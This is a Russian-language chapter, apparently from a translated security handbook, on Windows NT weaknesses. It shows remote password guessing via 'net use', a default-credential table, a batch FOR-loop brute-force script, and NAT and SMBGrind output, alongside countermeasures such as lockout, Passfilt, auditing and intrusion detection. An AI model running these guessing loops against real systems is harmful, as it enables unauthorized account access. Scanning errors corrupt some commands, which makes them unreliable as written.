Защита информации в Интернет

         

Уязвимость WINDOWS NT

Согласно маркетинговым данным, операционная система компании Microsoft Windows NT занимает значительную долю рынка сетевых операционных систем как в государственном, так и в частном секторе экономики. При этом Windows NT стала "мальчиком для битья" в хакерской среде. Что послужило причиной, то ли ее широкая распространенность, то ли раздражение от маркетинговой политики Microsoft, то ли стойкая нелюбовь в профессиональной среде к ее простому в использовании графическому интерфейсу, который воспринимается как профанация самого понятия сетевой операционной системы, сказать трудно, однако факт остается фактом. Впервые о проблемах безопасности в NT заговорили в начале 1997 года после опубликования хакером Хоббитом (Hobbit) из группы Avian Research статьи о двух фундаментальных архитектурных решениях Windows NT — Common Internet File System (CIFS) и Server Message Block (SMB). (Co статьей можно ознакомиться по адресу http://www.insecure.org/stf/cifs.txt.) С тех пор работа над выискиванием методов проникновения в систему NT не прекращается ни на один день.
Компания Microsoft терпеливо устраняет все недостатки по мере их обнаружения. Поэтому на сегодняшний день мы считаем, что расхожее мнение о том, что Windows NT является абсолютно незащищенной системой, справедливо не более, чем на 1%. При грамотном подходе NT обеспечивает безопасность не ниже, чем любая система UNIX. Более того, мы возьмем на себя смелость заявить, что по некоторым причинам система защиты NT может превосходить средства безопасности UNIX, в пользу чего говорят следующие доводы.
 NT не предоставляет встроенных средств, обеспечивающих удаленный запуск кода в процессорном пространстве сервера. Любые выполняемые программы, запускаемые клиентом, загружаются в память клиентского ПК и выполняются его процессором. Исключением из этого правила является терминальный вариант системы NT Terminal Server Edition, обеспечивающий многопользовательский графический интерфейс для удаленных клиентов (данная возможность встроена в следующую версию NT —Windows 2000, см. главу 6).  Право интерактивной регистрации в сети с консоли NT Server (на рабочие станции это ограничение не распространяется) по умолчанию предоставляется лишь нескольким пользователям, обладающим правами администратора. Так что, если злоумышленнику не удастся раздобыть пароль администратора, он ничего не сможет сделать даже имея физический доступ к консоли сервера. Существуют некоторые методы, позволяющие обойти эти препятствия, однако они требуют совпадения чрезвычайно маловероятных событий. Итак, если все это правда, тогда почему мы не утверждаем, что NT безопасна на все 100%? На то есть две причины: поддержка старых программ (так называемая совместимость сверху вниз) и простота использования. Как мы покажем ниже в этой главе, приверженность к старым клиентским программам может сделать NT менее безопасной, чем она могла бы быть. Два основных примера — это обеспечиваемая в NT поддержка сетевых протоколов NetBIOS, CIFS и SMB, а также старый алгоритм шифрования пользовательских паролей, доставшийся NT в наследство от Lan Manager. Именно благодаря этим нюансам задача хакера по инвентаризации системной информации NT и расшифровке файлов с паролями является более легкой, чем она могла бы быть.
Во-вторых, простота интерфейса NT очень привлекает начинающих администраторов, которые, как правило, мало задумываются о таких вещах, как обеспечение безопасности. Судя по нашему опыту, строгие правила выбора паролей и хорошая настройка параметров безопасности — довольно редкое явление даже в среде опытных системных администраторов. Таким образом, у взломщика, натолкнувшегося на сеть NT, всегда есть шанс обнаружить по крайней мере на одном компьютере, будь то сервер или рабочая станция, учетную запись Administrator с пустым паролем. Кроме того, простота установки системы NT "на скорую руку" еще больше усиливает данную проблему.
Итак, взглянув на вопросы безопасности NT "с птичьего полета", давайте опустимся на землю и приступим к рассмотрению деталей.


Введение

При изложении материала данной главы мы будем считать, что большая часть подготовительной работы для проникновения в систему NT уже проделана: цель выбрана (глава 2), а ее ресурсы инвентаризованы (глава 3). Как уже упоминалось в главе 2, если при сканировании оказалось, что порты 135 и 139 находятся в состоянии ожидания запросов, значит, данный узел, по-видимому, работает под управлением системы Windows NT (если обнаружен только порт 139, то это может быть и Windows 9x). Более полная информация о системе Windows NT может быть получена при сборе идентификационных маркеров.

Как вы увидите в главе 6, наличие открытого порта 445 также является признаком системы Win 2000.

После того как выбранная цель однозначно идентифицирована как компьютер под управлением Windows NT, начинается процесс инвентаризации ее ресурсов. В главе 3 подробно описаны средства, использующие анонимные соединения, посредством которых можно извлечь информацию о пользователях, группах и службах, работающих на целевом компьютере. При инвентаризации обычно выявляется столько информации, что зачастую бывает трудно провести грань между тем, где заканчивается инвентаризация и где начинается проникновение. Как правило, попытки взлома пароля следуют сразу же за выявленным именем пользовательской учетной записи. Анализируя данные, полученные с помощью методов инвентаризации, о которых мы говорили в главе 3, взломщик обычно всегда находит какие-то "зацепки" для выбора точки проникновения.



На каком свете мы находимся

Следуя классической модели проникновения, на которой построена эта книга, мы посвятили данную главу описанию оставшихся действий типичного хакера, пытающегося проникнуть в систему Windows NT: получение привилегий суперпользователя, расширение полномочий и сокрытие следов проникновения.
Эта глава не содержит полного и всеобъемлющего описания всех имеющихся в Internet средств, с помощью которых можно выполнить перечисленные выше задачи. Мы расскажем лишь о наиболее элегантных и полезных (на наш взгляд) из них, уделяя основное внимание общим принципам и методологии проникновения. Имеется ли самый правильный путь, следуя которым систему NT можно наилучшим образом подготовить к потенциальному проникновению?

Пожалуй, наиболее опасными методологиями проникновения в систему Windows, не рассмотренными в данной главе, являются приемы хакинга в Web. Средства защиты на уровне операционной системы зачастую оказываются бесполезными при предотвращении подобных атак на уровне приложений. Некоторые из наиболее разрушительных атак на систему NT за последние несколько лет базировались на использовании таких средств, как компонентов MDAC, и были направлены против встроенного в NT/2000 Web-сервера — Internet Information Server (US). Эти средства проникновения рассматриваются в главе 15.



Система NT находится не на

Система NT находится не на самом верху иерархии операционных систем компании Microsoft. Выпушенная в начале 2000 года, система Windows 2000 является самой последней и мощной версией NT.
Win 2000 будет обсуждаться в своем собственном пространстве терминов в главе 6. Хотя некоторые читатели могут не согласиться с логическим разделением двух тесно связанных друг с другом операционных систем, мы считаем, что различия между ними достаточно существенны и заслуживают отдельного рассмотрения.
Естественно, многие (ели не все) приемы, описанные в данной главе, применимы также и к системе Win 2000, особенно если их использовать на практике. Мы сделали все возможное, чтобы привести такие ситуации, в которых поведение этих операционных систем различается или Win 2000 обеспечивает лучшее решение проблемы. Подобные различия приводятся в разделах, посвященных возможным контрмерам. Однако в то же время мы не преследовали цель представить эти сведения как полное руководство по переходу с одной системы на другую или их сравнительный анализ. Конечно, переход на новую операционную систему не должен происходить спонтанно и мы надеемся, что приемы проникновения, имеющие отношение к NT (и к Windows 2000 при ее работе в смешанном режиме, используемом по умолчанию) окажутся полезными на практике в течение многих лет.
Во время написания этой книги система Win 2000 только появилась на рынке программного обеспечения и с точки зрения обеспечения безопасности уже выдержала несколько серьезных тестов. В общем, мы считаем эту операционную систему более устойчивой против нападений взломщиков и настоятельно рекомендуем обновить используемую систему до Win 2000, поскольку она обеспечивает более надежную систему защиты. Для Win 2000 уже имеются пакеты обновления, удовлетворяющие современным требованиям и протоколам, которые предоставляют гораздо более высокую степень защиты. Кроме того, упростился доступ к некоторым скрытым параметрам системы безопасности NT, которые теперь помещены в системный реестр. Од н.-.-к о систему Win 2000 не следует рассматривать как панацею от всех бед. Не стоит сидеть сложа руки и ждать, что система Win 2000 будет сама обеспечивать требуемую защиту. Рассчитывать нужно в первую очередь на себя, и это касается любой операционной системы. Время покажет, насколько Win 2000 является исключением из этого правила, и глава 6 может служить подтверждением этого факта.

Administrator: в поисках сокровищ


Правило № 1, о котором нельзя никогда забывать при обеспечении безопасности Windows NT, состоит в том, что любой нарушитель абсолютно беспомощен, если он не обладает нравами администратора. Как мы увидим из дальнейшего обсуждения. NT не поддерживает (по умолчанию) удаленного выполнения команд, а если и позволяет это делать, то интерактивно зарегистрироваться могут лишь пользователи из группы администраторов. Это существенно сужает возможности удаленных пользователей по нанесению ущерба. Поэтому взломщики, как голодные акулы, рыщущие в океанской пучине в поисках жертвы, прилагают все усилия, чтобы выявить учетные записи пользователей, обладающих правами администратора. Именно поэтому мы начнем с рассмотрения деталей основного механизма получения привилегий администратора — подбора пароля.
Что, несколько неожиданно? Вы думали, что мы вам расскажем о каком-то чудесном способе, с помощью которого вы моментально поставите NT "на колени"? Хотя существование такой "серебряной пули" теоретически возможно, ее все еще никто не нашел за все гады существования операционной системы NT. Некоторые из возможных подходов будут рассмотрены в конце раздела. Однако, к сожалению, вынуждены вас огорчить — в том, что касается безопасности, справедливо древнее утверждение: "Чем больше веши меняются, тем больше они остаются неизменными". Другими словами, прежде, чем защищаться от каких-либо экзотических методов проникновения, необходимо с помощью правильно выбранного пароля как можно лучше защитить учетную запись Administrator.

Удаленный подбор пароля


Если на удаленном компьютере запушена служба NetBIOS, с которой связан TCP-порт 139, то самым эффективным методом проникновения в систему NT является удаленное подключение к выявленному ранее совместно используемому ресурсу и подбор пар регистрационное имя/пароль до тех пор, пока одна из них не окажется правильной.
Конечно, для того чтобы процесс подбора пароля оказался по-настоящему эффективным, необходимо наличие списка пользовательских имен. Ранее уже были рассмотрены некоторые из лучших методов поиска учетных записей пользователей, включая анонимное подключение с помощью команды net use, которая устанавливает нулевое соединение с исследуемым узлом. Для этих же целей можно воспользоваться также утилитой DumpACL/DumpSec от компании Somarsoft Inc., а также утилитами sid2u=er/usar2sid Евгения Рудного (Evgenii Rudnyi). Все эти средства обсуждались в главе 3. Обнаружив реально существующие учетные записи, можно существенно повысить вероятность успешного подбора пароля.
Найти совместно используемый ресурс, который подходит для нападения, обычно не составляет никакого труда. Из главы 3 вы узнали, что в системах, в которых TCP-порт 139 доступен для удаленного доступа, всегда присутствует скрытый совместно используемый ресурс IFCS, необходимый для взаимодействия процессов. Кроме того, в процессе подбора пароля практически всегда можно воспользоваться административными ресурсами ADMIN$ и [%раздел-диска%]$ (например, С$). Естественно, можно также провести инвентаризацию совместно используемых ресурсов, как описывалось в главе 3.
Имея под рукой все необходимые данные, нарушитель, находящийся в сети предприятия, может просто открыть окно Network Neighborhood (если с целевым компьютером NT имеется физическое соединение) или же воспользоваться средством поиска Find Computer и IP-адресом для поиска компьютера, находящегося во внешней сети, а потом щелкнуть дважды на пиктограмме найденного компьютера, как показано на приведенных ниже иллюстрациях.


Подбор пароля можно также выполнить из командной строки с помощью команды net use. Если вместо пароля в качестве ее параметра указать символ *, то удаленный компьютер попросит ввести пароль, как показано в следующем примере.

С:\> net use \\192.168.202.44\IPC$ * /user:Administrator
Type the password for \\192.168.202.44\IPC$:
The command completed successfully.

Учетная запись, заданная с помощью ключа /и:, выглядит несколько странно. Напомним, что в NT/2000 учетные записи идентифицируются с использованием идентификаторов защиты SID, состоящих из кортежей компьютер\учетная запись или домен\учетная запись. Если зарегистрироваться в качестве администратора не удалось, попробуйте воспользоваться синтаксисом домен\учетная запись.

Взломщики, как правило, пытаются подбирать пароли для ставших им известными локальных учетных записей отдельных компьютеров с NT Server или Workstation, а не для глобальных учетных записей, позволяющих получить доступ к контроллеру домена NT. В этом нет ничего удивительного, поскольку очень высока вероятность того, что локальные учетные записи контролируются не так строго, как на уровне всей организации (в этом случае все попытки подбора пароля могут также регистрироваться на контроллере домена). Кроме того, система NT Workstation позволяет любому пользователю регистрироваться в сети после регистрации на самом компьютере (т.е. пользователь Everyone может начать сеанс работы, не входя в сеть (Log on locally), а затем при необходимости подключиться к сети), что значительно упрощает удаленное выполнение команд.
Конечно, если взломать учетные записи Administrator или Domain Admins главного контроллера домена (РОС — Primary Domain Controller), то в вашем распоряжении окажется весь домен (и все домены, с которыми установлены доверительные отношения). Как правило, стоит выполнить идентификацию контроллера PDS, начать автоматический подбор паролей с помощью "мягких" методов (т.е. позволяющих избежать блокировки учетных записей), а затем сразу же приступить к сканированию всего домена с целью выявления незащищенных жертв (т.е. компьютеров с пустым паролем администратора).

Если вы собираетесь использовать описываемые приемы для проверки компьютеров в сети вашей компании (конечно, с ведома начальства), не забывайте о блокировании учетных записей, которое может произойти при попытках как ручного, так и автоматизированного подбора паролей. В результате можно настроить против себя не только пользователей всей компании, которые не смогут в течение определенного времени получить доступ к своим компьютерам, но и руководство, которое вряд ли после такого инцидента будет поощрять ваши инициативы в области безопасности.

Метод подбора наиболее эффективен для выявления паролей, заданных с ошибками, характерными для большинства пользователей. К таким ошибкам можно отнести следующие.
 Пользователи всегда стремятся выбрать как можно более простой пароль, в том числе, если это возможно, предпочитают вообще обходится без пароля. По существу, наибольшей брешью в любой сети является пустой или просто подбираемый пароль. Поэтому во время проверки системы безопасности на это нужно обращать самое пристальное внимание.  При выборе пароля пользователи хотят, чтобы его легко было запомнить, и используют для этого пользовательское имя, свое имя или же очевидные строки вида "имя_пользователя", "' имя_компании", "guest", "test", "admin" или "password". Поля комментариев (которые можно увидеть с помощью такого утилиты инвентаризации, DumpACL/DumpSec) учетной записи — это тоже хорошо известное место, в котором можно найти подсказки о пароле и даже сами пароли.  Многие популярные программы функционируют в контексте специальной пользовательской учетной записи. Как правило, имена этих учетных записей широко известны и, что еще хуже, обычно они легко запоминаются. Идентификация подобных широко известных учетных записей во время инвентаризации может предоставить взломщику очень серьезный козырь, значительно облегчающий его задачу при подборе пароля. Некоторые примеры стандартных пар "имя пользователя/пароль" представлены в табл. 5.1. Мы называем такие пары наиболее вероятными комбинациями. Кроме того, достаточно большой список паролей, используемых по умолчанию, можно найти по адресу http://www.securityparadigm.соm/defaultpw.htm.

Таблица 5.1. Наиболee вероятные комбинации "имя пользователя/пароль"

Имя пользователя
Пароль
administrator
пустой, password, administrator
arcserve
arcserve, backup
test
test, password
lab
lab, password
имя-пользователя
имя-пользователя, имя-компании
backup
backup
tivoli
tivoli
symbiator
symbiator, as400
backupexec
backup

Хорошо продуманная стратегия подбора паролей, учитывающая все приведенные выше рекомендации, дает на удивление высокий процент успеха. Однако техника, которая хороша для хакера, подбирающего пароль ради развлечения, вряд ли заинтересует вечно занятого администратора сети, у которого и так хватает забот, чтобы заниматься ручным подбором паролей с целью контроля.
Автоматизированный подбор паролей очень легко выполнить, реализовав единственный цикл FOR с использованием стандартной команды NET USE системы NT. Во-первых, создайте файл с именами пользователей и паролями на основе наиболее вероятных комбинаций, приведенных в табл. 5.1 (или воспользовавшись собственным перечнем). Такой файл может иметь примерно следующий вид (для разделения значений могут использоваться любые символы-разделители; в данном случае — символы табуляции). Обратите внимание, что пустые пароли в правом столбце не указаны.

[file: credentials.txt]
password username
password Administrator
admin Administrator
administrator Administrator
secret Administrator
и т.д. . . .

Теперь этот файл можно подать на вход команде FOR следующим образом:

C:\>FOR /F "tokens=l,2*" %i in(credentials.txt)do net use
\\target\\IPC$ %i /u:%j

Эта команда построчно анализирует файл credentials. txt, выбирает первые две лексемы из каждой строки, а затем использует первую из них в качестве переменной «i (пароль), а вторую — как переменную %i (имя пользователя) при установке соединения с помощью команды net use с совместно используемым ресурсом IРС$ целевого компьютера. Для получения более подробной информации о команде FOR введите в командной проке FOR /?. Эта команда для хакеров NT является одной из наиболее полезных.
Конечно, имеется много специализированных программ, которые позволяют автоматизировать процессе подбора пароля. В главах 3 и 4 мы уже упоминали программы Legion и NAT (NetBIOS Auditing Tool), которые позволяют автоматизировать процесс подбора пароля. Утилита Legion может не только выполнять сканирование диапазона IP-адресов класса С и выявлять совместно используемые ресурсы. Windows, но и обладает возможностью подбора пароля по заданному словарю.
Программа NAT предоставляет аналогичные возможности, но позволяет одновременно работать с одним компьютером. Однако, поскольку эта утилита запускается из командной строки, ее использование очень легко автоматизировать. В сценарии или командном файле утилита NAT должна подключаться к очередному узду, а затем подбирать пароль как из предопределенного перечня паролей, так и из списка, подготовленного пользователем. Одним из недостатков NAT является то, что как только эта угилита обнаруживает пароль, соответствующий какой-то из учетных записей, она тут же использует эту пару для подключения. Тем самым остальные возможные пароли других учетных записей остаются неизвестными. Ниже приведен пример простого цикла FOR, с помощью которого организуется перебор всех компьютеров сети класса С (Для краткости листинг был отредактирован).

D:\>FOR /L %i IN (1,1,254) DO nat -u
userlist.txt -p passlist.txt
"92.163.202.»! » nat_output.txt
[*]--- Checking host: 192.168.202.1
[*]--- Obtaining list of remote NetBIOS names
[*]--- Attempting to connect with Username:
'ADMINISTRATOR'Password:
'ADMINISTRATOR'
[*]--- Attempting to connect with Username:
'ADMINISTRATOR'Password:
'GUEST'
...
[*]--- CONNECTED: Username:
'ADMINISTRATOR' Password:
'PASSWORD'
[*]--- Attempting to access share:
\\*SMBSERVER\TEMP
[*]-—- WARNING: Able to access share:
\\*SM3SERVER\TEMP
[*]--- Checking write access in:
\\*SMBSERVER\TEMP
[*]--- WARNING: Directory is writeable:
\\*SM3SERVER\TEMP
[*]--- Attempting to exercise ..
bug on: \\*SMBSERVER\TEMP

Еще одним хорошим инструментом обнаружения паролей является утилита NTInfoScan (NT'S) Дэвида Литчфилда (David Litchfield), который известен также под псевдонимом Mnemonix. Эту утилиту можно найти по адресу http://packetstorm.stcurify.com/NT/audit/. NTIS — это простая утилита командной строки, которая выполняет проверку по протоколам Internet и NetBIOS, а результат выводит в файл HTML-формат. Она также осуществляет все необходимые операции по инвентаризации пользователи ;г в конце отчета помещает учетные записи с пустым паролем. В настоящее время утилита NTFS обновлена и распространяется новой компанией Дэвида, Cerberus Information Security. Теперь эта утилита называется Cerberus Internet Scanner (CIS) и снабжена графическим интерфейсом.
Все упомянутые выше утилиты распространяются бесплатно и, в общем, прекрасно справляются с возложенной на них задачей. Если же вам нужны дополнительные возможности, предоставляемые коммерческими пакетами, рекомендуем обратить внимание на пакет CyberCop Scanner от компании Network Associates Inc. (NAI). в состав которого входит утилита SMBGrind. Эта утилита отличается поразительной скоростью работы, поскольку она одновременно запускает сразу несколько процессов подбора пароля. Во всем остальном она практически не отличается от утилиты NAT. Ниже приведен пример результатов работы утилиты SMBGrind. Параметр -1 определяет количество одновременных соединений, т.е. количество параллельно запускаемых процессов.

D:\> smbgrind -I 100 -i 192.168.2.5
Host address: 192.168.2.5
Cracking host 192.168.2.5 (*SMBSERVER)
Parallel Grinders: 100
Percent complete: 0
Percent complete: 25
Percent complete: 50
Percent complete: 75
Percent complete: 99
Guessed: testuser Password: testuser
Percent complete: 100
Grinding, complete, guessed 1 accounts

Контрмеры: защита от подбора пароля


Существует несколько защитных мер, которые могут сделать невозможными или. по крайней мере, затруднить попытки подбора пароля. Первая из них поможет в тех случаях, когда компьютер с системой NT. непосредственно подключенный к Internet, не должен отвечать на запросы о совместно используемых ресурсах Windows. Для этого нужно заблокировать доступ к портам TCP и UDP с номерами 135-139 на пограничном брандмауэре или маршрутизаторе, а также запретить привязку WINS Client (TCP/IP) для любого адаптера, подключенного к внешней сети, как показано на приведенной ниже иллюстрации.
Это позволит запретить использование портов NetBIOS соответствующим сетевым адаптером. Для узлов с двумя сетевыми адаптерами (dual-homed host) необходимо запретить поддержку протокола NetBIOS на адаптере, подключенном к Internet, и оставить ее на сетевом адаптере внутренней сети. чтобы к совместным ресурсам Windows могли обращаться легальные пользователи. (При отключении поддержки NetBIOS с использованием этого метода, внешний порт остается в режиме ожидания, однако он не будет отвечать на запросы.)


В системе Windows 2000 для запрещения использования протокола NetBIOS поверх TCP/IP для каждого адаптера в отдельности можно использовать спе.{и-:;ль ный пользовательский интерфейс. Однако, как вы увидите из главы 6, такая возможность вовсе не является панацеей, и отключение адаптеров от совместно используемых файлов и принтеров является гораздо лучшим способом.

Если ваши компьютеры с системой NT выполняют роль файловых серверов и, как следствие, должны обеспечивать возможность подключения, данных мер, естественно, будет недостаточно, поскольку они будут блокировать или даже запрещать все подобные службы. В таких случаях необходимо применять более традиционные меры: блокировать учетные записи после определенного количества неудачных попыток регистрации, реализовать политику строгого выбора паролей, а также регистрировать все неудачные попытки регистрации. К счастью, для выполнения этих задач компания Microsoft предоставляет все необходимые средства.

Политика учетных записей


Одним из таких средств является утилита User Manager. Для задания политики учетных записей выберите в диалоговом окне диспетчера пользователей команду Policies>Account. В появившемся диалоговом окне можно задать определенную политику назначения паролей, например установить ограничение на минимальную длину пароля или потребовать, чтобы пароли не повторялись чаще определенного количества раз. Кроме того, в диалоговом окне Account Policy можно установить блокировку соответствующей учетной записи после заданного количества неудачных попыток регистрации. Диспетчер пользователей также позволяет администраторам принудительно отключать пользователей после завершения установленной длительности сеанса. Это очень удобная возможность, позволяющая "перекрыть кислород" непрошеным ночным гостям.


Подчеркнем еще раз, что каждый, кто намеревается попробовать "на прочность" пароли как с помощью описанных в данной главе методов ручного, так и автоматического подбора, должен помнить о возможностях блокировки учетных записей.

Passfilt


Еще больший уровень защиты можно обеспечить с помощью динамически подключаемой библиотеки Passfilt, входящей в состав Service Pack 2. Для того чтобы она была подключена к системе защиты, необходимо проделать процедуру, описанную в статье Q161990 базы знаний Microsoft Knowledge Base. Данная библиотека позволяет поддерживать жесткую политику выбора паролей, которая гарантирует защиту не только от взлома, но и от ленивого пользователя, выбирающего слишком простой пароль. После установки библиотеки Passfilt все пароли должны состоять не менее чем из шести символов, не могут совпадать с именами учетных записей или быть частью полного имени пользователя, а также должны состоять из символов, которые выбираются как минимум из трех следующих групп.
 Буквы английского алфавита в верхнем регистре (А, в, с, ..., Z)  Буквы английского алфавита в нижнем регистре (а, b, с, ..., z)  Арабские цифры (0, 1, 2, ..., 9)  Символы, не являющиеся алфавитно-цифровыми (@, #, !, & и т.д.) Библиотека Passfilt должна быть под рукой у каждого серьезного администратора NT, однако нужно отметить два ее ограничения. Первое состоит в жесткой установке минимальной длины пароля в 6 символов. Мы рекомендуем наложить более строгое ограничение в 7 символов в диалоговом окне Account Policy диспетчера пользователей. (Почему так важна разница в один символ, вы узнаете ниже при рассмотрении процесса взлома пароля NT.) Во-вторых, библиотека Passfilt вызывается лишь в том случае, когда решение об изменении пароля принимает сам пользователь. Если же пароль меняется администратором с помощью диспетчера пользователей, то выполнение требований Passfilt не гарантируется (см. статью Q174075). Для того чтобы обеспечить более строгое следование принятой политике учетных записей, можно разработать свою собственную библиотеку Passfilt. Учтите, что при таком подходе в качестве библиотеки Passfilt можно легко "получить в подарок" "троянского коня". Так что при выборе библиотек от сторонних производителей будьте очень внимательны.

Библиотека Passfilt в системе Win 2000 устанавливается по умолчанию, однако остается неактивной. Для того чтобы ее активизировать, воспользуйтесь консолью secpol.msc или gpedit.msc и активизируйте режим Passwords must meet complexity requirements, относящийся к элементу консоли Security Configuration and Analysis\Account Policies\Password Policy.

Passprop


Еще одним важным дополнительным средством, которое входит в состав NT Resource Kit (NTRK) является утилита Passprop, которая позволяет применить к учетным записям домена NT два следующих требования.
 Пароли, выбираемые пользователями, должны обязательно содержать алфавитные символы как в верхнем, так и в нижнем регистрах или же состоять из символов и цифр.  Второе требование касается учетной записи Administrator. Как мы уже говорили, эта учетная запись является наилучшим трофеем удачливого взломщика, представляющим собой серьезную опасность для безопасности. К сожалению, исходную встроенную учетную запись Administrator (RID 500) в системе NT заблокировать нельзя, что позволяет взломщикам легко ее идентифицировать и бесконечно долго пытаться подобрать к ней пароль. Утилита Passprop удаляет используемые по умолчанию ограничения NT на блокировку учетной записи администратора. (Учетную запись Administrator можно всегда разблокировать с локальной консоли сервера, что предотвращает попытки спровоцировать состояние DoS.) Для того чтобы наложить на систему безопасности оба требования, необходимо установить пакет NTRK (или просто скопировать файл passprop.exe, если установка всего пакета NTRK связана с вопросами защиты) и ввести следующую команду в командной строке: passprop /complex /adminlockout
Для того чтобы вернуть систему в исходное состояние, необходимо запустить утилиту с параметром /noadminlockout.

Аудит и регистрация событий


Даже если никому и не удастся проникнуть в вашу сеть с помощью подбора пароля, так как вы установили библиотеку Passfilt или воспользовались утилитой Passprop, все равно имеет смысл отслеживать все неудачные попытки регистрации. Для этого выберите команду Policies>Audit в диалоговом окне диспетчера пользователей. При этом на экране появится диалоговое окно Audit Policy, представленное ниже.
Журнал безопасности (Security Log), заполненный событиями с идентификаторами 529 или 539 (Logon/Logoff failure и Account Locked Out соответственно), свидетельствует о том, что система подвергается попытке автоматизированного взлома. В большинстве случае журнал позволяет даже установить компьютер, с которого производятся попытки взлома. На рис. 5.1 показано содержимое журнала безопасности после многочисленных неудачных попыток регистрации, предпринятых с помощью утилиты NAT.
Вот подробные сведения о событии с идентификатором 539.
Естественно, регистрация событий ничего не стоит, если не выполняется анализ журналов. Анализировать журналы вручную очень утомительно. К счастью, утилита Event Viewer позволяет фильтровать записи о событиях по дате, типу, источнику, категории, пользователю, компьютеру и идентификатору события.




Рис. 5.1. Журнал безопасности с зарегистрированными неудачными попытками регистрации в сети, выполнявшимися с использованием утилиты NAT

Если для управления журналами и их анализа вам требуется надежная утилита командной строки, позволяющая автоматизировать ее использование, обратите внимание на утилиту dumpel из пакета NTRK, NTLast компании NTObjectives (по адресу http://www.ntobjectives.com можно найти как бесплатно распространяемую, так и коммерческую версию) или DumpEvt от компании Somarsoft (бесплатную версию утилиты можно найти по адресу http://www.somarsoft.com).
Утилита dumpel может обрабатывать журнал событий с удаленного сервера (при наличии соответствующих разрешений) и отфильтровывать до десяти идентификаторов событий одновременно. Например, с помощью dumpel можно извлечь неудачные попытки регистрации на локальном компьютере (событие 529). Для этого в командной строке нужно ввести следующую команду. С:\> dumpel -е 529 -f seclog.txt -1 security -m Security -t
Утилита DumpEvt позволяет преобразовать весь журнал безопасности в формат, пригодный для импорта в базу данных Access или SQL. Однако эта утилита не предоставляет средств фильтрации событий.
NTLast — это утилита командной строки Win32, которая выполняет поиск в локальных и удаленных журналах записей об интерактивных (interactive), удаленных (remote) и неудачных (fail) попытках регистрации. Кроме того, с ее помощью можно найти соответствующие друг другу пары событий регистрации/завершения сеанса (logon/logoff) для заданной учетной записи. Коммерческая версия утилиты NTLast позволяет также извлекать записи о неудачных попытках использования пароля для получения доступа к серверу IIS.

Выявление вторжений в реальном времени


После применения средств анализа журналов следующим этапом является реализация механизма оповещения о возможных нарушениях в реальном времени. Количество программных продуктов из так называемой категории систем выявления вторжений быстро возрастает, особенно для использования на платформе NT. Системы выявления вторжений, предназначенные для использования на компьютерах под управлением системы NT, представлены в табл. 5.2.
Функциональные возможности этих продуктов варьируются в широком диапазоне, от простых средств анализа журналов, генерации оповещений (KSM) и мониторинга попыток взлома на уровне сетевого протокола (RealSecure) до полноценных систем выявления вторжений на уровне узла (Centrax). Так что при выборе той или иной системы внимательно ознакомьтесь с перечнем ее возможностей и выясните, сможет ли она решать возлагаемые на нее задачи.

Таблица 5.2. Некоторые системы выявления вторжений для систем NT/2000

Система выявления вторжений
Разработчик
BlackICE Pro
Network ICE Corp.
http://www.netice.com/
Centrax
Cybersafe Corp.
http://www.cybersafe.com/
CyberCop Server
Network Associates, Inc.
http://www.nai.com/
Desktop Sentry
NTObjectives
http://www.nt objectives.com
Intact
Pedestal Software
http: //www.pedestalsoftware.com/
Intruder Alert (ITA)
AXENT Technologies, Inc.
http://www.axent.com
Kane Security Monitor (KSM)
Security Dynamics Technologies Inc.
http://www.securitydynamics.com/
RealSecure
Internet Security Systems
http://www.iss.net
SeNTry
Mission Critical
http://www.miss ioncritical.com
SessionWall-3
Computer Associates/Platinum Technology 
http://www.platinum.com/
Tripwire for NT
Tripwire, Inc.
http://www.tripwiresecurity.com/

К сожалению, обсуждение вопросов, связанных с выявлением вторжений, выходит за рамки данной кн7иги. Можем лишь подчеркнуть, что администраторы сети, обеспокоенные вопросами обеспечения безопасности, должны уделять этой технологии самое пристальное внимание — что может быть важнее, чем вовремя поступивший сигнал о возникшей в сети проблеме? Более подробная информация о выявлении вторжений, в том числе и сравнительные характеристики лучших программных продуктов этой категории, в настоящее время содержится в статье http://www.infoworld.com/cgi-bin/displayTC.pl7980504comp.htm.
Подбор пароля — это нелегкая задача. Почему бы просто не перехватить ценную информацию при регистрации пользователей на сервере, а затем использовать ее по своему усмотрению? В тех редких случаях, когда взломщику удается перехватить обмен регистрационными данными, такой подход позволяет сэкономить значительную часть усилий, которые требуются в процессе подбора пароля. Для этого подойдут
многие из уже рассмотренных утилит, однако можно воспользоваться и другим средством, специально предназначенным для этих целей. С такой утилитой вы уже хорошо знакомы: l0phtcrack, которую можно найти по адресу http: //www.10pht.com.

Перехват паролей, передаваемых по сети


Утилита l0phtcrack предназначена для подбора паролей NT, которая обычно используется для автономного взлома перехваченной базы данных паролей, т.е. без соединения с сервером. Такой подход позволяет, во-первых, не беспокоиться о возможной блокировке учетных записей при попытках подбора пароля, а во-вторых, организовать перебор сколь угодно большого количества вариантов. Получение файла паролей - довольно нетривиальная задача, поэтому этот вопрос, а также методы использования утилиты l0phtcrack более подробно будут рассмотрены в разделе "Взлом Паролей Nt".
В последних версиях l0phtcrack имеется функция SMB Packet Capture, которая ранее была реализована в виде отдельной утилиты readsmb. С использованием этой функции можно обойтись без перехвата файла паролей, а вместо этого прослушать локальный сегмент сети, перехватить запросы на регистрацию, которыми обмениваются системы NT, а затем выбрать из них информацию о зашифрованных паролях. Затем выполняется алгоритм расшифровки, обратный тому, который используется при шифровании паролей в системе NT (этот процесс и называется взломом — cracking). На рис. 5.2 показан пример использования функции SMP Packet Capture для перехвата пересылаемых по сети паролей для их последующего взлома самой утилитой l0phtcrack.
Некоторые читатели могут удивленно воскликнуть: ''Подождите. Разве в NT не реализован принцип аутентификации по запросу?" Это действительно так. В процессе аутентификации клиенты получают случайный запрос от сервера, который кодируется с помощью хэш-кода пароля пользователя в качестве ключа и в зашифрованном виде передается назад по сети. Затем сервер зашифровывает запрос с помощью своей собственной копии хэш-кода пароля пользователя (взятой из SAM-файла) и сравнивает его с полученным значением. Если значения совпадают, то процесс регистрации завершается успешно (более подробная информация о процессе аутентификации содержится в разделе Q102716 базы знаний). Значит, сам хэш-код пароля даже не передается по сети. Возникает вопрос: как в таком случае утилита l0phtcrack может его взломать?
